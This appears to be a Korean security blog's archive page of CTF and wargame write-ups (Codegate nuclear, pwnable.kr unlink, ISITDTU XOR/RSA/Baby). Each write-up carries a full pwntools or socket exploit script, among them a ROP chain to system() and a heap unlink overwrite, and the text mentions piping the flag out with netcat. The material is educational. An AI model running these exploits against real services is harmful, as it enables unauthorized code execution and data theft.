분류 전체보기

[WhiteHatWargame.vn] mini-game

2018. 8. 13. 01:52

[WhiteHatWargame.vn] onechange

2018. 8. 13. 01:44

An ECB/CBC Mode and ECB Attack

2018. 8. 10. 18:43

[Codegate 2014] nuclear

2018. 8. 5. 21:17

writeup까지 쓸 생각은 없었는데;


풀다보니까... 생각보다 시간을 많이 잡아먹고, 좀 유의해야할것도 있는 것 같아서 생각을 정리하는 김에 글로 써서 남긴다.


하... 대체 왜 이렇게 시간을 잡아먹은 건지 ㅡㅡ;


nuclear



nuclear: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=49e7c88b99cd6526e37d016c08e8e5cfeb526474, stripped

 



일단 주어진 바이너리는 32bit 이고, 보호기법은 NX가 걸려있다.


IDA로 보면 소켓 프로그램인 것을 알 수있다.



socket() 함수로 소켓을 생성한다. 이 때 값은 파일/소켓 디스크립터로 반환되고 이 값은 3이다.

그 후 bind() 함수로 소켓에 IP주소와 포트번호를 지정해준다. 여기서는 localhost로 1129포트로 지정하였고, bind()함수는 성공하면 0, 실패하면 -1를 반환한다.



그 후 accept() 함수로 클라이언트의 접속 요청을 받고, 클라이언트와 통신하는 전용 소켓을 생성한다.

이 함수 역시 반환값으로 소켓/파일 디스크립터를 반환하고, 이 값은 4이다.


그럼 먼저 저 바이너리를 실행하고, 로컬포트 1129로 접속해보자.



Nuclear Control System 이라 뜨게 된다.

다시 Ida로 돌아와 살펴보자. 저 부분을 실행하는 함수이름을 Main_8048c65라고 지정하였다.

소켓을 생성하고, 그 값을 인자로 넘겨 실행하게 된다.


이제 우리는 소켓디스크립터값을 이용해 이 프로그램과 통신하게 된다.



일단 변수들은 위와 같이 선언 할당되어있다.

위에는 조금 짤렸는데 passcode라는 변수에 THIS_IS_NOT_KEY_JUST_PASSCODE의 값을 읽어와서 저장해준다.

사용할 수 있는 명령어로는 "quit", "target", "launch"가 있는데


여기서 launch 함수를 보면 사용자로부터 buffer에 입력을 받아 passcode값과 비교한 후,

그 값이 일치하면 pthread_create로 sub_8048B9C함수를 실행해준다.



해당 함수는 카운트 다운 함수인데, 100초를 세고, 100초가 다 세어지면 핵폭팔이 일어나는 것을 볼 수 있다.





중요한 것은 핵폭팔이 일어나는것이 아니라, 저 함수를 실행할 때

pthread로 실행하게 되는 start_routine함수이다.




이 함수를 보면 buf는 bp에서 0x20c만큼 떨어져있지만 사용자로부터 0x512만큼의 값을 받으므로 overflow가 발생한다.

여기서 이제 함수의 흐름을 조작할 수 있다.


그런데 위에서는 필자가 passcode를 알고 있으므로, launch를 실행시킬수 있었지만, 원래는 그 값을 알 수 가 없다.



passcode의 값은 buffer에서 0x208만큼 떨어져있고, buffer에는 0x200만큼만 입력이 된다.

그리고 그 사이에 v4와 v5의 값이 들어가 있는데, 만약 buffer에 NULL바이트 없이 0x200만큼 꽉 차있고

v4와 v5에도 NULL바이트가 없다면, 아래 루틴에서 buffer를 passcode까지 이어서 출력하게 될 것이다.



그러므로 우리는 target 명령어를 통해서 v4와 v5값을 float값으로 채워서 NULL바이트를 없애주고, command입력시 "A"*0x200을 입력하면

passcode값이 leak 될 것이다.





자 그럼 이제, exploit을 하면 된다.


passcode를 leak해서 launch를 실행하고, start_routine에 진입하여, 거기서 프로그램 실행흐름을 조작하면 된다.

처음에는 puts함수를 이용해 다른 함수의 주소를 leak하려하였지만, 소켓프로그램이기 때문에 소켓에 통신하고있는 사용자에게 leak된 주소가 출력되지않고, 서버에 출력되는 것을 알 수 있었다 ㅡㅡ; (이 부분때문에 삽질을 했다.)


주의해야할 점이다. send함수를 통해 소켓디스크립터로 leak한 것을 사용자에게 보내면 된다.

그렇게 함수 주소를 leak하고 offset을 통해 system함수의 주소를 알아내어 프로그램 흐름을 조작하면 된다.


여기서 system("/bin/sh")을 실행하였지만; 당연하게도 소켓프로그램인지라 사용자에게는 쉘이 띄워질리 없기때문에

리버스쉘이나 바인드쉘을 사용하여야한다. 여기선 flag만 가져오면 되기 때문에 system("cat flag | nc localhost 9999")와 같이 실행한다.


이렇게 프로그램 자체에서 소켓을 열고, 소켓디스크립터를 통해 통신을 하는 경우엔 system("/bin/sh")를 한다고 사용자에게 쉘이 떨어지는것이 아니니 주의하여야 할것같다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
 
#context.log_level = 'debug'
 
elf = ELF("./nuclear")
conn = remote("localhost", 1129)
 
def sendCommand(cmd):
    conn.recvuntil("> ")
    conn.send(cmd)
    
def targetSet(Location):
    sendCommand("target")
    conn.recvuntil("---> ")
    conn.sendline(Location)
    
def Launch(passcode):
    sendCommand("launch")
    conn.recvuntil(": ")
    conn.sendline(passcode)
    
targetSet("5.5123/5.5123")
sendCommand("A"*0x200)
 
#leak
conn.recvuntil(" Unknown command : ")
conn.recv(0x208)
passcode = conn.recvline().strip()
 
log.info("passcode : " + passcode)
 
#Launch Nuclear
Launch(passcode)
 
send_plt = elf.symbols['send']
recv_plt = elf.symbols['recv']
recv_got = elf.got['recv']
send_got = elf.got['send']
 
start_routine = 0x8048B5B
pppr = 0x804917d
ppppr = 0x804917c
fd = 0x4
 
#bof
payload = "A"*0x200
payload += p32(fd)
payload += "B"*12
payload += p32(send_plt)
payload += p32(pppr)
payload += p32(fd)
payload += p32(recv_got)
payload += p32(4)
payload += p32(send_plt)
payload += p32(pppr)
payload += p32(fd)
payload += p32(send_got)
payload += p32(5)
payload += p32(start_routine)
payload += p32(0xdeadbeef)
payload += p32(fd)
 
conn.recvuntil("COUNT DOWN : 100")
conn.sendline(payload)
 
conn.recvuntil("We can't stop this action.. G00D Luck!\n")
recv_addr = conn.recv(4)
send_addr = conn.recv(4)
 
system_addr = u32(recv_addr)-0x18a5a0
 
log.info("recv_addr : 0x%x" % u32(recv_addr))
log.info("send_addr : 0x%x" % u32(send_addr))
 
payload = "A"*0x200
payload += p32(fd)
payload += "B"*12
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(fd)
payload += p32(elf.bss())
payload += p32(50)
payload += p32(0)
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(elf.bss())
conn.recvuntil("COUNT DOWN : 99")
conn.sendline(payload)
 
conn.interactive()
cs





저작자표시

'Write-up > Pwnable' 카테고리의 다른 글

[WhiteHatWargame.vn] mini-game  (0) 2018.08.13
[WhiteHatWargame.vn] onechange  (0) 2018.08.13
[MeePwnCTF 2018] one_shot writeup  (0) 2018.07.26
[MeePwnCTF 2018] one_shot (대회 당시 삽질한 글)  (0) 2018.07.26
[RCTF 2017] Recho  (0) 2018.07.10

Breaking_XOR_Cipher

2018. 8. 3. 18:43

TOOL

2018. 8. 3. 13:08

[pwnable.kr] unlink

2018. 8. 1. 18:02

오늘로 pwnable.kr [Toddler's Bottle] 클리어입니다~~!!


후... 꽤 오래걸렸네여



unlink라고 하는 걸 보니, heap과 관련된 문제일것 같습니다.



unlink corruption~~

unlink 문제입니다. heap overflow와 관련되있어서 공부를 조금 했습니다.



접속하면 4개의 파일이 있는데, flag 및 intended_solution.txt의 권한이 unlink_pwn의 권한으로 되어있어 읽지를 못합니다.

그래서 unlink파일을 통해 읽어줘야하는데, 먼저 소스를 보면 아래와 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;
 
void shell(){
    system("/bin/sh");
}
 
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));
 
    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;
 
    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
 
    // exploit this unlink!
    unlink(B);
    return 0;
}
 
 
cs


보통은 unlink 버그는 free를 하면서 일어나는데, 여기서는 free를 하는 대신 unlink라는 함수를 따로 정의하여 사용하고 있습니다.


여기서 문제가 되는 부분은 이부분입니다.


1
2
3
4
5
6
7
8
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
cs


unlink(B)를 수행하여 B와 A<=>B<=>C의 연결을 끓어 A<=>C B   로 만들려는 것인데,

그 전에 gets(A->buf)함수를 통해 overflow가 발생하여, B의 fd값과 bk값을 덮을 수 있어


원하는 곳에 원하는 값을 덮을 수 있게 됩니다.


fd+4 = bk

bk = fd


가 되기 때문에, fd에 RET-4의 주소를 넣고, bk에 Shell의 주소를 넣으면 될것같았는데,

bk = fd 이 부분에서 bk가 Code영역에 있는 Shell의 주소라면 이 곳에 fd를 덮어쓰려고하면, 세그먼트폴트가 뜨기때문에 이렇게 해서 ret를 덮을 수 없습니다.


그래서 처음에는 Shellcode를 이용해서 call이나 jmp를 하려했으나....



나중에 깨달았지만.... NX가 걸려있더군여 ㅡㅡ;

덕분에 뻘짓만 엄청하고 다시 원점으로 돌아와서....


ret를 직접적으로 못 건드리니 unlink함수에 들어갔을 때 SFP를 조작하여, main의 esp값을 조작하기로 했습니다.

ebp를 조작하여 heap에 할당된 데이터영역(buf)를 새로운 스택으로 삼아 eip에 shell의 주소를 넣으면 됩니다.


그래서 ebp만 조작하다보니, main의 에필로그가 조금 다르더군여...



ecx에 ebp-0x4의 값을 저장시키고, ecx-0x4의 주소를 esp에 넣고 ret합니다.

ㅁㄴㅇㄹ... 이미 위에서 다르게 조작하는 저는 조금 다르게 payload가 짜였습니다.


다른분들은 진작에 main 에필로그가 다르단걸 깨닫고 ebp-0x4부분만 잘 덮어주셨네요 ㅇㅇ..


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
 
s = ssh(user='unlink',host='pwnable.kr',port=2222,password='guest')
conn = s.process("./unlink")
#conn = process("./unlink")
 
conn.recvuntil("here is stack address leak: ")
stack_addr = int(conn.recvline().strip(),16)
ret_addr = stack_addr+40
 
conn.recvuntil("here is heap address leak: ")
heap_addr = int(conn.recvline().strip(),16)
log.info("stack : "+hex(ret_addr))
log.info("heap  : "+hex(heap_addr))
 
shell_address = 0x80484eb
ebp_addr = stack_addr-0x1c
fake_ebp = heap_addr+16
 
payload = p32(shell_address)+p32(fake_ebp-4)+"A"*8
payload += p32(fake_ebp) #fd  fd+4=bk
payload += p32(ebp_addr) #bk  bk = fd
 
conn.sendline(payload)
 
conn.interactive()
 
cs



위와 같이 하면 flag를 얻을 수 있습니다.




이게 의도했던 정답!


크게 다를건 없지만... 뭐 상관은 없습니다.

이걸로 [Toddler's Bottle] 클리어~~




저작자표시

'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] horcruxes  (2) 2018.08.20
[pwnable.kr] blukat  (0) 2018.08.20
[pwnable.kr] memcpy  (0) 2018.07.27
[pwnable.kr] asm  (0) 2018.07.27
[pwnable.kr] leg  (0) 2018.06.08

[ISITDTU 2018] XOR Write-up

2018. 7. 30. 23:07


XOR문제입니다.

많은 사람들이 풀었기때문에 100점까지 낮아졌습니다 ㅠ;;


아니... 어떻게 이걸 더 많이 푼거지 ;;

다른 암호들이 훨씬 빨리 풀리는데 ...


아무튼!


문제는 아래와 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flag import flag,key
 
assert len(key) == 10
 
#padding
if len(flag) % len(key) != 0:
    n = len(key) - len(flag) % len(key)
    for i in range(n):
        flag += " "
 
m = []Q
for a in range(len(key)):
    i = a
    for b in range(len(flag)/len(key)):
        if b % 2 != 0:
            m.append(ord(flag[i]) ^ ord(key[a]))
        else:
            m.append(ord(flag[i+len(key)-(a+1+a)])^ ord(key[a]))
        i += len(key)
enc_flag = ""
for j in range(len(m)):
    enc_flag += "%02x" % m[j]
 
print enc_flag
 
#enc_flag = 1d14273b1c27274b1f10273b05380c295f5f0b03015e301b1b5a293d063c62333e383a20213439162e0037243a72731c22311c2d261727172d5c050b131c433113706b6047556b6b6b6b5f72045c371727173c2b1602503c3c0d3702241f6a78247b253d7a393f143e3224321b1d14090c03185e437a7a607b52566c6c5b6c034047
 
cs


키 값도 주고, 문제도 단순합니다. 홀수번째 블록암호가 거꾸로 XOR되기때문에 이를 유의해서 풀면 보통 XOR암호문제와 다를게 없습니다.


그래서 조금 어려운 문제가 아닌가싶었는데;;

대부분이 Bruteforcing으로 잘풀었습니다.(flag형식이 지정되어있기때문에...)

하지만 저는 hamming_distance와  Alphabet score를 이용해서 풀어보았습니다.


먼저 hamming_distance 측정을 통해 평문이 알파벳과 숫자로 구성된 문자열이란 것을 알 수 있습니다.

그래서 Alphabet score를 매기는 방식으로 코드를 짜서 풀었습니다. CTF에 나오는 플래그 형식이 완전히 알파벳이 아니라서 조금 변형시키긴했지만~

그래도 잘 돌아갑니당..ㅎㅎ


관련개념은 추후에 블로그에 올리겠습니다.

그럼 이 글도 조금은 수정되겠져


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
#Letter Distribution - Exterior Memory  http://www.macfreek.nl/memory/Letter_Distribution
freq = {
' ' : 18.28846265,
'E' : 10.26665037,
'T' : 7.51699827,
'A' : 6.53216702,
'O' : 6.15957725,
'N' : 5.71201113,
'I' : 5.66844326,
'S' : 5.31700534,
'R' : 4.98790855,
'H' : 4.97856396,
'L' : 3.31754796,
'D' : 3.28292310,
'U' : 2.27579536,
'C' : 2.23367596,
'M' : 2.02656783,
'F' : 1.98306716,
'W' : 1.70389377,
'G' : 1.62490441,
'P' : 1.50432428,
'Y' : 1.42766662,
'B' : 1.25888074,
'V' : 0.79611644,
'K' : 0.56096272,
'X' : 0.14092016,
'J' : 0.09752181,
'Q' : 0.08367550,
'Z' : 0.05128469,
 
'1' : 5.66844326, #I
'4' : 6.53216702, #A
'5' : 5.31700534, #S
'3' : 10.26665037,#E
'0' : 6.15957725, #O
'_' : 18.28846265,#_
 
'{' : 3.0,
'}' : 3.0,
}
def alphabet_score(stringA):
    score = 0.0
    for c in stringA:
        c=c.upper()
        if c in freq:
            score+=freq[c]
    return score
 
def XOR_singleByte(str1, sbyte):
    result = ""
    for i in range(0,len(str1),2):
        h1 = int(str1[i:i+2],16)
        h2 = sbyte
        result+= '{:02x}'.format(h1^h2)
    return result
 
def XOR_with_Key(str1, Key):
    result = ""
    keylen=len(Key)
    for i in range(0,len(str1),2):
        h1 = int(str1[i:i+2],16)
        h2 = ord(Key[(i/2)%keylen])
        result+= '{:02x}'.format(h1^h2)
    return result
 
def Hamming_distance(str1, str2):
    d = 0
    for i in range(0, len(str1)):
        hd = ord(str1[i]) ^ ord(str2[i])
        while hd > 0:
            d += (hd & 0x1)
            hd = hd>>1
    return d
    
enc_flag = "1d14273b1c27274b1f10273b05380c295f5f0b03015e301b1b5a293d063c62333e383a20213439162e0037243a72731c22311c2d261727172d5c050b131c433113706b6047556b6b6b6b5f72045c371727173c2b1602503c3c0d3702241f6a78247b253d7a393f143e3224321b1d14090c03185e437a7a607b52566c6c5b6c034047"
cipher = enc_flag.decode("hex")
 
KEY_LEN = 10
BLOCK_LEN = len(cipher)/KEY_LEN
 
blocks = [""]*BLOCK_LEN
for i in range(len(cipher)):
    blocks[i%BLOCK_LEN]+=cipher[i]
 
ciphers = ["",""]
 
for i, b in enumerate(blocks):
    if i % 2 != 0:
        ciphers[0] += b
    else:
        ciphers[1] = b + ciphers[1]
 
        
distance = 0.0
n = (len(ciphers[0])/(KEY_LEN))-1
for bsize in range(0,len(ciphers[0])-2*KEY_LEN,KEY_LEN):
    b1=ciphers[0][bsize:bsize+KEY_LEN]
    b2=ciphers[0][bsize+KEY_LEN:bsize+KEY_LEN*2]
    distance += Hamming_distance(b1, b2)
 
d=(distance/(n*KEY_LEN))
 
print("hamming_distance1 : %f" % d)
        
distance = 0.0
n = (len(ciphers[1])/(KEY_LEN))-1
for bsize in range(0,len(ciphers[1])-2*KEY_LEN,KEY_LEN):
    b1=ciphers[1][bsize:bsize+KEY_LEN]
    b2=ciphers[1][bsize+KEY_LEN:bsize+KEY_LEN*2]
    distance += Hamming_distance(b1, b2)
 
d=(distance/(n*KEY_LEN))
 
print("hamming_distance2 : %f" % d)    
    
keyString = ""
cipher = ciphers[0]+ciphers[1]
 
for i in range(0, KEY_LEN):
    Max_score = 0.0
    score = 0.0
    key = 0
    for sbyte in range(0,255):
        nCaesar = ""
        for j in range(i, len(cipher), KEY_LEN):
            nCaesar += cipher[j]
        nCaesar = nCaesar.encode("hex")
        nResult = XOR_singleByte(nCaesar, sbyte)
        nomal_string = nResult.decode("hex")
        
        score = alphabet_score(nomal_string)
    
        if score > Max_score:
            Max_score = score
            key = sbyte
    keyString += chr(key)
 
print("KeyString :"),
print(keyString)
 
print("\nPlaintext : ")
plain1 = XOR_with_Key(ciphers[0].encode("hex") ,keyString).decode("hex")
plain2 = XOR_with_Key(ciphers[1].encode("hex") ,keyString).decode("hex")
plain2 = plain2[::-1]
 
plain = ""
for i in range(BLOCK_LEN/2+1):
    plain += plain2[i*KEY_LEN:(i+1)*KEY_LEN] + plain1[i*KEY_LEN:(i+1)*KEY_LEN]
 
print(plain)
cs



저작자표시

'Write-up > Crypto' 카테고리의 다른 글

[CSAW Quals 2017] BabyCrypt Writeup  (0) 2018.09.14
[hackcon18] Ron, Adi and Leonard (Wiener Attack)  (0) 2018.08.18
[ISITDTU 2018] Simple RSA Write-up  (0) 2018.07.30
[ISITDTU 2018] Baby Write-up  (0) 2018.07.30
[MeePwnCTF 2018] bazik  (0) 2018.07.25

[ISITDTU 2018] Simple RSA Write-up

2018. 7. 30. 19:43
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *
import random
flag = 'Hidden'
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
 
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        #raise Exception('modular inverse does not exist')
        print "aaa"
    else:
        return x % m
def next_prime(n):
    num = n + 1
    while True:
        if isPrime(num):
            return num
        num += 1
p = random.randint(1<<251,1<<252)
i = 10
p = next_prime(p)
p1 = next_prime(p*10)
p2 = next_prime(p1*10)
p3 = next_prime(p2*10)
 
 
 
N = p*p1*p2*p3
e = 65537
c = pow(bytes_to_long(flag),e,N)
print c
#153348390614662968396805701018941225929976855876673665545678808357493865670852637784454103632206407687489178974011663144922612614936251484669376715328818177626125051048699207156003563901638883835345344061093282392322541967439067639713967480376436913225761668591305793224841429397848597912616509823391639856132
print N
#603040899191765499692105412408128039799635285914243838639458755491385487537245112353139626673905393100145421529413079339538777058510964724244525164265239307111938912323072543529589488452173312928447289267651249034509309453696972053651162310797873759227949341560295688041964008368596191262760564685226946006231
cs


문제입니다. 정말 심플합니다. modinv()함수까지 다 짜주어서 그냥 p,p1,p2,p3만 구하면 문제를 풀 수 있습니다.

물론 그게 어렸기 때문에 고생하는 거지만요 ㅠㅠ


그래서 저는 저걸 못구해서 끙끙거렸는데;;

이걸 같이 CTF하는 팀원님이 구해주셨습니다(대단해...!! rls1004님 감사합니당...)


저는 이걸 p를 gmpy.root(N/1000000,4)로 해서 잡아놓고 1씩 올리거나 내리면서 계산햇는데;; ㅠㅠ

알고리즘 공부를 더 해야할거같습니다 ㅠㅠ

대회가 끝나고 다른분들 writeup을 보니 이진탐색도 사용하더군엽.. 


p를 N/1000000의 4제곱근 근처로 잡은 이유는 문제코드가 아래와 같아서 입니다.

p = next_prime(p)

p1 = next_prime(p*10)

p2 = next_prime(p1*10)

p3 = next_prime(p2*10)


즉... N=p*(p*10+a)*(p*100+b)*(p*1000+c) 일테니..

대충 p^4 * 1000000 + A 일겁니다. 그러므로 .root(N/1000000,4)로 잡아놓고 풀었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from Crypto.Util.number import *
import gmpy
 
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
 
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        #raise Exception('modular inverse does not exist')
        print "aaa"
    else:
        return x % m
 
def next_prime(n):
    num = n + 1
    while True:
        if isPrime(num):
            return num
        num += 1
 
N = 603040899191765499692105412408128039799635285914243838639458755491385487537245112353139626673905393100145421529413079339538777058510964724244525164265239307111938912323072543529589488452173312928447289267651249034509309453696972053651162310797873759227949341560295688041964008368596191262760564685226946006231
e = 65537
 
start, perfect  = gmpy.root(N/1000000,4)
a = 0x1000
b = 0xf
while a != 0:
    p = start + a * b
    p = next_prime(p)
    p1 = next_prime(p*10)
    p2 = next_prime(p1*10)
    p3 = next_prime(p2*10)
 
    tmp = p*p1*p2*p3
 
    if tmp == N:
        print p, p1, p2, p3
        break
    if tmp > N:
        b -= 1
    else:
        start = start + a * b
        print hex(start)
        a = a/0x10
        b = 0xf
"""
p  = 4955491002253862893875866857920361781272456756179979954923353247500965791683
p1 = 49554910022538628938758668579203617812724567561799799549233532475009657916989
p2 = 495549100225386289387586685792036178127245675617997995492335324750096579170109
p3 = 4955491002253862893875866857920361781272456756179979954923353247500965791701557
"""
if(p*p1*p2*p3 == N):
    print("great!")
    
phi = (p-1)*(p1-1)*(p2-1)*(p3-1)
d = modinv(e, phi)
 
c = 153348390614662968396805701018941225929976855876673665545678808357493865670852637784454103632206407687489178974011663144922612614936251484669376715328818177626125051048699207156003563901638883835345344061093282392322541967439067639713967480376436913225761668591305793224841429397848597912616509823391639856132
 
dec = pow(c,d,N)
print(long_to_bytes(dec))
 
 
 
cs







참고로 python 모듈이 없다면, sage로도 가능!

1
2
3
4
5
N = 603040899191765499692105412408128039799635285914243838639458755491385487537245112353139626673905393100145421529413079339538777058510964724244525164265239307111938912323072543529589488452173312928447289267651249034509309453696972053651162310797873759227949341560295688041964008368596191262760564685226946006231
print("start")
tmp = isqrt(N/1000000)
tmp = isqrt(tmp)
print(tmp)
cs


http://math3.skku.ac.kr/home/myriabreak/7/

저작자표시

'Write-up > Crypto' 카테고리의 다른 글

[hackcon18] Ron, Adi and Leonard (Wiener Attack)  (0) 2018.08.18
[ISITDTU 2018] XOR Write-up  (0) 2018.07.30
[ISITDTU 2018] Baby Write-up  (0) 2018.07.30
[MeePwnCTF 2018] bazik  (0) 2018.07.25
[MeePwnCTF 2018] esor (easy)  (0) 2018.07.16

[ISITDTU 2018] Baby Write-up

2018. 7. 30. 18:14


CTF가 끝나고 한 번 풀어본다.

CTF 기간 중에는 팀원님이 아주 빠르게 풀어주셨다...

나는 RSA문제에 막혀서 ㅠㅠㅠ



아직 서버가 살아있어서 nc로 접속하면 아래와 같이 사용자로 부터 숫자입력을 받고, 뭔가를 출력해준다.

소스파일도 주어졌으므로 먼저 소스파일을 보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    def hash(self, m):
        f = int(flag.encode("hex"),16)
        x = sha512(str(f | m )).digest().encode("hex")
        self.request.sendall(x+"\n")
 
        
        
 
    def check(self):
        while True:
            self.request.sendall("********************Hello World********************\n")
            self.request.sendall("***************************************************\n")
            self.request.sendall("Number: ")
            try:
                number = int(self.request.recv(BUFF_SIZE).strip())
            except:
                break
            self.request.sendall(str(number)+"\n")
            self.hash(number)
cs


사용자로부터 Number를 입력받은 후

number와 flag를 or하여, 그 값을 sha512해시값으로 해서 출력해준다.


이 flag의 값은 변하지않고, 사용자는 Number를 써서 flag과 or한 결과값을 계속 얻을 수 있으므로 0과 flag를 OR한 값과 다른 bit들을 비교하여 공격하면된다. 

즉 bit flipping하여 1bit씩 브루트포싱하는 것이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import socket
 
flag_hash = "2c7b44d69a0f28798532e4bb606753128969e484118bd0baa215c6309ce6dc016c9a5601471abf4c556c0dc5525eb4144078a761a6456c919d134be8a10c64a0"
 
def recv_until(s, string):
    result = ''
    while string not in result:
        result += s.recv(1)
    return result
 
def get_hash(num):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('35.185.178.212', 33337))
    recv_until(sock, ':')
    sock.send(str(num)+"\n")
    recv_until(sock, '\n')
    hash = recv_until(sock, '\n')
    sock.close()
    return hash[:-1]
 
flag = ""
c=0
while(True):
    onebyte = 0
    for i in range(8):
        num = (1<<i)
        hash = get_hash(num<<(8*c))
        if flag_hash==hash:
            onebyte+=num
    c+=1
    flag = chr(onebyte)+flag
    if "ISITDTU{" in flag:
        break
    print(flag)
 
print("FLAG : " + flag)
cs




성공



저작자표시

'Write-up > Crypto' 카테고리의 다른 글

[ISITDTU 2018] XOR Write-up  (0) 2018.07.30
[ISITDTU 2018] Simple RSA Write-up  (0) 2018.07.30
[MeePwnCTF 2018] bazik  (0) 2018.07.25
[MeePwnCTF 2018] esor (easy)  (0) 2018.07.16
[MeePwnCTF 2018] esor (hard)  (0) 2018.07.16

+ Recent posts

티스토리툴바